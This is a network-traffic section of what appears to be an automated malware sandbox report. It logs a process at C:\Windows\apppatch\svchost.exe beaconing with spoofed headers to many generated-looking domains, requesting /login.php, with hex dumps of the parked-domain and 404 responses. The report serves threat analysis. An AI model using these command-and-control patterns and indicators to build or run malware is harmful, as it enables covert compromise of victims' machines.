                                                                                                                                                                                                                    X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Data Raw: 61 39 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: a92a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397840977 CET1236INData Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f
                                                                                                                                                                                                                    Data Ascii: f(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397854090 CET1236INData Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20
                                                                                                                                                                                                                    Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397974014 CET636INData Raw: 3d 22 22 3b 69 2b 3d 22 3d 22 3b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 3b 76 61 72 20 64 3d 6c 6f 63 61 74 69 6f 6e 3b 69 66 28 64 2e 68 61 73 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 68 61 73 68 2e 73 75 62 73 74 72
                                                                                                                                                                                                                    Data Ascii: ="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.in
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398087978 CET1236INData Raw: 5f 67 70 70 6b 65 79 3a 22 22 29 3b 76 61 72 20 6e 3d 78 28 22 63 6d 70 61 74 74 22 2c 22 63 6d 70 5f 61 74 74 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f 61 74 74 3a 22 22 29 3b 6a 2e 73 72 63 3d 6b 2b 22 2f 2f 22 2b 68 2e 63 6d 70 5f 68 6f 73 74 2b
                                                                                                                                                                                                                    Data Ascii: _gppkey:"");var n=x("cmpatt","cmp_att" in h?h.cmp_att:"");j.src=k+"//"+h.cmp_host+"/delivery/cmp.php?"+("cmp_id" in h&&h.cmp_id>0?"id="+h.cmp_id:"")+("cmp_cdid" in h?"&cdid="+h.cmp_cdid:"")+"&h="+encodeURIComponent(g)+(c!=""?"&cmpdesign="+enco
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398097992 CET1236INData Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 2d 61 62 22 2c 22 31 22 29 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 69 66 28 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 26 26 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70
                                                                                                                                                                                                                    Data Ascii: setAttribute("data-cmp-ab","1");j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398108959 CET1236INData Raw: 2c 62 2e 6c 65 6e 67 74 68 29 7d 72 65 74 75 72 6e 28 66 29 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 63 6d 70 2e 61 3d 5f 5f 63 6d 70 2e 61 7c 7c
                                                                                                                                                                                                                    Data Ascii: ,b.length)}return(f)};window.cmp_stub=function(){var a=arguments;__cmp.a=__cmp.a||[];if(!a.length){return __cmp.a}else{if(a[0]==="ping"){if(a[1]===2){a[2]({gdprApplies:gdprAppliesGlobally,cmpLoaded:false,cmpStatus:"stub",displayStatus:"hidden"
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398121119 CET1236INData Raw: 74 61 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 28 29 7d 7d 65 6c 73 65 7b 69 66 28 67 3d 3d 3d 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 76 61 72 20 68 3d 66 61 6c 73 65 3b 5f 5f 67 70 70 2e 65 3d 5f
                                                                                                                                                                                                                    Data Ascii: ta:window.cmp_gpp_ping()}}else{if(g==="removeEventListener"){var h=false;__gpp.e=__gpp.e||[];for(var d=0;d<__gpp.e.length;d++){if(__gpp.e[d].id==e){__gpp.e[d].splice(d,1);h=true;break}}return{eventName:"listenerRemoved",listenerId:e,data:h,pin
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398479939 CET848INData Raw: 6e 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 65 3d 7b 5f 5f 74 63 66 61 70 69 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64
                                                                                                                                                                                                                    Data Ascii: n,function(h,g){var e={__tcfapiReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},b.parameter)}if(typeof(c)==="object"&&c!==null&&"__gppCall" in c){var b=c.__gppCall;window.__gpp(b.command,functi
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398490906 CET1236INData Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 77 69 6e 64 6f 77 5b 61 5d 21 3d 3d 6e 75 6c 6c 29 29 29 7b 77 69 6e 64 6f 77 5b 61 5d 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 73 74 75 62 3b 77 69 6e 64
                                                                                                                                                                                                                    Data Ascii: of(window[a])==="undefined"||window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_addFrame("__cmpLocator");if(!("cmp_disableusp"
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.402792931 CET1236INData Raw: 70 3f 61 3d 61 32 39 45 4e 32 51 72 4b 32 63 33 5a 6a 51 30 53 6c 4a 75 4f 48 64 55 4d 44 68 51 59 69 74 75 53 6e 42 34 55 56 56 5a 57 44 56 52 4d 6b 6c 79 62 31 64 49 4d 48 6c 56 59 6c 46 49 53 6e 49 79 52 30 74 34 57 56 64 4e 4e 6e 46 4a 62 6d
                                                                                                                                                                                                                    Data Ascii: p?a=a29EN2QrK2c3ZjQ0SlJuOHdUMDhQYituSnB4UVVZWDVRMklyb1dIMHlVYlFISnIyR0t4WVdNNnFJbmx4N0I4RWJZSjBQU0hTVWtSL0VMMEI1bXlHdlFCcTRPNUFaM2pGcVkrUEdwN0UvNTBPbm94TFAzMk9pL0lRT0JZdkdlTkE=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    69192.168.2.4499153.94.10.3480
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.887260914 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lymyxid.com
                                                                                                                                                                                                                    Cookie: snkz=66.23.206.109; btst=d49d5951c50bfddcd538c170c4b2f525|66.23.206.109|1731347300|1731347300|0|1|0
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.319806099 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:49:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=d49d5951c50bfddcd538c170c4b2f525|66.23.206.109|1731347362|1731347300|31|2|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    70192.168.2.450156199.59.243.227807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.691190958 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118793964 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:50:06 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1094
                                                                                                                                                                                                                    x-request-id: 3ade81ce-3c26-43bc-be5e-55b7ae0fadd5
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                                    set-cookie: parking_session=3ade81ce-3c26-43bc-be5e-55b7ae0fadd5; expires=Mon, 11 Nov 2024 18:05:07 GMT; path=/
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118818045 CET528INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                                    Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2FkZTgxY2UtM2MyNi00M2JjLWJlNWUtNTViN2FlMGZhZGQ1IiwicGFnZV90aW1lIjoxNzMxMzQ3NDA3LCJwYWdlX3VybCI6I


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    71192.168.2.450157178.162.203.226807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.694714069 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    72192.168.2.45015823.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.695401907 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149105072 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:01 GMT
                                                                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149158955 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    73192.168.2.450159208.100.26.245807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740947962 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.212179899 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:07 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.213118076 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.316312075 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:07 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    74192.168.2.450160154.212.231.82807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.747728109 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.633831024 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:07 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
